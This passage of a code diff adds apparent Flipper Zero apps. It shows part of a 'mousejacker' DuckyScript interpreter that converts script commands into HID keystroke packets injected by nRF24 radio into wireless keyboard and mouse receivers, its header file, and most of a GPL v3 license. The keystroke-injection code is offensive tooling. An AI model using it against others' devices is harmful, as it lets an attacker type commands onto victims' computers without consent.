+            for(uint32_t i = 0; i < delay_count; i++) {
+                if(!plugin_state->is_thread_running || plugin_state->close_thread_please) {
+                    return true;
+                }
+                /*inject_packet(
+                    handle,
+                    addr,
+                    addr_size,
+                    rate,
+                    LOGITECH_KEEPALIVE,
+                    LOGITECH_KEEPALIVE_SIZE,
+                    plugin_state);*/
+                furi_delay_ms(10);
+            }
+            return true;
+        }
+        return false;
+    } else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) {
+        // STRING
+        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
+        for(size_t i = 0; i < strlen(line_tmp); i++) {
+            if(!mj_get_ducky_key(&line_tmp[i], 1, &dk)) return false;
+
+            send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
+        }
+
+        return true;
+    } else if(strncmp(line_tmp, ducky_cmd_repeat, strlen(ducky_cmd_repeat)) == 0) {
+        // REPEAT
+        uint32_t repeat_cnt = 0;
+        if(prev_line == NULL) return false;
+
+        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
+        repeat_cnt = atoi(line_tmp);
+        if(repeat_cnt < 2) return false;
+
+        FURI_LOG_D(TAG, "repeating %s %ld times", prev_line, repeat_cnt);
+        for(uint32_t i = 0; i < repeat_cnt; i++)
+            mj_process_ducky_line(handle, addr, addr_size, rate, prev_line, NULL, plugin_state);
+
+        return true;
+    } else if(strncmp(line_tmp, "ALT", strlen("ALT")) == 0) {
+        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
+        if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
+        send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4, dk.hid, plugin_state);
+        return true;
+    } else if(
+        strncmp(line_tmp, "GUI", strlen("GUI")) == 0 ||
+        strncmp(line_tmp, "WINDOWS", strlen("WINDOWS")) == 0 ||
+        strncmp(line_tmp, "COMMAND", strlen("COMMAND")) == 0) {
+        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
+        if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
+        send_hid_packet(handle, addr, addr_size, rate, dk.mod | 8, dk.hid, plugin_state);
+        return true;
+    } else if(
+        strncmp(line_tmp, "CTRL-ALT", strlen("CTRL-ALT")) == 0 ||
+        strncmp(line_tmp, "CONTROL-ALT", strlen("CONTROL-ALT")) == 0) {
+        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
+        if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
+        send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4 | 1, dk.hid, plugin_state);
+        return true;
+    } else if(
+        strncmp(line_tmp, "CTRL-SHIFT", strlen("CTRL-SHIFT")) == 0 ||
+        strncmp(line_tmp, "CONTROL-SHIFT", strlen("CONTROL-SHIFT")) == 0) {
+        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
+        if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
+        send_hid_packet(handle, addr, addr_size, rate, dk.mod | 1 | 2, dk.hid, plugin_state);
+        return true;
+    } else if(
+        strncmp(line_tmp, "CTRL", strlen("CTRL")) == 0 ||
+        strncmp(line_tmp, "CONTROL", strlen("CONTROL")) == 0) {
+        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
+        if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
+        send_hid_packet(handle, addr, addr_size, rate, dk.mod | 1, dk.hid, plugin_state);
+        return true;
+    } else if(strncmp(line_tmp, "SHIFT", strlen("SHIFT")) == 0) {
+        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
+        if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
+        send_hid_packet(handle, addr, addr_size, rate, dk.mod | 2, dk.hid, plugin_state);
+        return true;
+    } else if(
+        strncmp(line_tmp, "ESC", strlen("ESC")) == 0 ||
+        strncmp(line_tmp, "APP", strlen("APP")) == 0 ||
+        strncmp(line_tmp, "ESCAPE", strlen("ESCAPE")) == 0) {
+        if(!mj_get_ducky_key("ESCAPE", 6, &dk)) return false;
+        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
+        return true;
+    } else if(strncmp(line_tmp, "ENTER", strlen("ENTER")) == 0) {
+        if(!mj_get_ducky_key("ENTER", 5, &dk)) return false;
+        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
+        return true;
+    } else if(
+        strncmp(line_tmp, "UP", strlen("UP")) == 0 ||
+        strncmp(line_tmp, "UPARROW", strlen("UPARROW")) == 0) {
+        if(!mj_get_ducky_key("UP", 2, &dk)) return false;
+        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
+        return true;
+    } else if(
+        strncmp(line_tmp, "DOWN", strlen("DOWN")) == 0 ||
+        strncmp(line_tmp, "DOWNARROW", strlen("DOWNARROW")) == 0) {
+        if(!mj_get_ducky_key("DOWN", 4, &dk)) return false;
+        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
+        return true;
+    } else if(
+        strncmp(line_tmp, "LEFT", strlen("LEFT")) == 0 ||
+        strncmp(line_tmp, "LEFTARROW", strlen("LEFTARROW")) == 0) {
+        if(!mj_get_ducky_key("LEFT", 4, &dk)) return false;
+        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
+        return true;
+    } else if(
+        strncmp(line_tmp, "RIGHT", strlen("RIGHT")) == 0 ||
+        strncmp(line_tmp, "RIGHTARROW", strlen("RIGHTARROW")) == 0) {
+        if(!mj_get_ducky_key("RIGHT", 5, &dk)) return false;
+        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
+        return true;
+    } else if(strncmp(line_tmp, "SPACE", strlen("SPACE")) == 0) {
+        if(!mj_get_ducky_key("SPACE", 5, &dk)) return false;
+        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
+        return true;
+    }
+
+    return false;
+}
+
+void mj_process_ducky_script(
+    FuriHalSpiBusHandle* handle,
+    uint8_t* addr,
+    uint8_t addr_size,
+    uint8_t rate,
+    char* script,
+    PluginState* plugin_state) {
+    uint8_t hid_payload[MICROSOFT_HID_TEMPLATE_SIZE] = {0};
+    char* prev_line = NULL;
+
+    /*inject_packet(
+        handle, addr, addr_size, rate, LOGITECH_HELLO, LOGITECH_HELLO_SIZE, plugin_state);*/
+    char* line = strtok(script, "\n");
+    while(line != NULL) {
+        if(strcmp(&line[strlen(line) - 1], "\r") == 0) line[strlen(line) - 1] = (char)0;
+
+        if(!mj_process_ducky_line(handle, addr, addr_size, rate, line, prev_line, plugin_state))
+            FURI_LOG_D(TAG, "unable to process ducky script line: %s", line);
+
+        prev_line = line;
+        line = strtok(NULL, "\n");
+    }
+    build_hid_packet(0, 0, hid_payload);
+    inject_packet(
+        handle,
+        addr,
+        addr_size,
+        rate,
+        hid_payload,
+        MICROSOFT_HID_TEMPLATE_SIZE,
+        plugin_state); // empty hid packet at end
+}

+ 45 - 0
non_catalog_apps/mousejacker_ms/mousejacker_ducky.h

@@ -0,0 +1,45 @@
+#pragma once
+#include <stdlib.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <furi_hal_spi.h>
+#include <stdio.h>
+#include <string.h>
+#include <nrf24.h>
+#include <furi.h>
+#include <furi_hal.h>
+#include <toolbox/stream/file_stream.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct {
+    char* name;
+    uint8_t hid;
+    uint8_t mod;
+} MJDuckyKey;
+
+typedef struct {
+    FuriMutex* mutex;
+    bool ducky_err;
+    bool addr_err;
+    bool is_thread_running;
+    bool is_ducky_running;
+    bool close_thread_please;
+    Storage* storage;
+    FuriThread* mjthread;
+    Stream* file_stream;
+} PluginState;
+
+void mj_process_ducky_script(
+    FuriHalSpiBusHandle* handle,
+    uint8_t* addr,
+    uint8_t addr_size,
+    uint8_t rate,
+    char* script,
+    PluginState* plugin_state);
+
+#ifdef __cplusplus
+}
+#endif

+ 674 - 0
non_catalog_apps/nrfsniff_ms/LICENSE

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
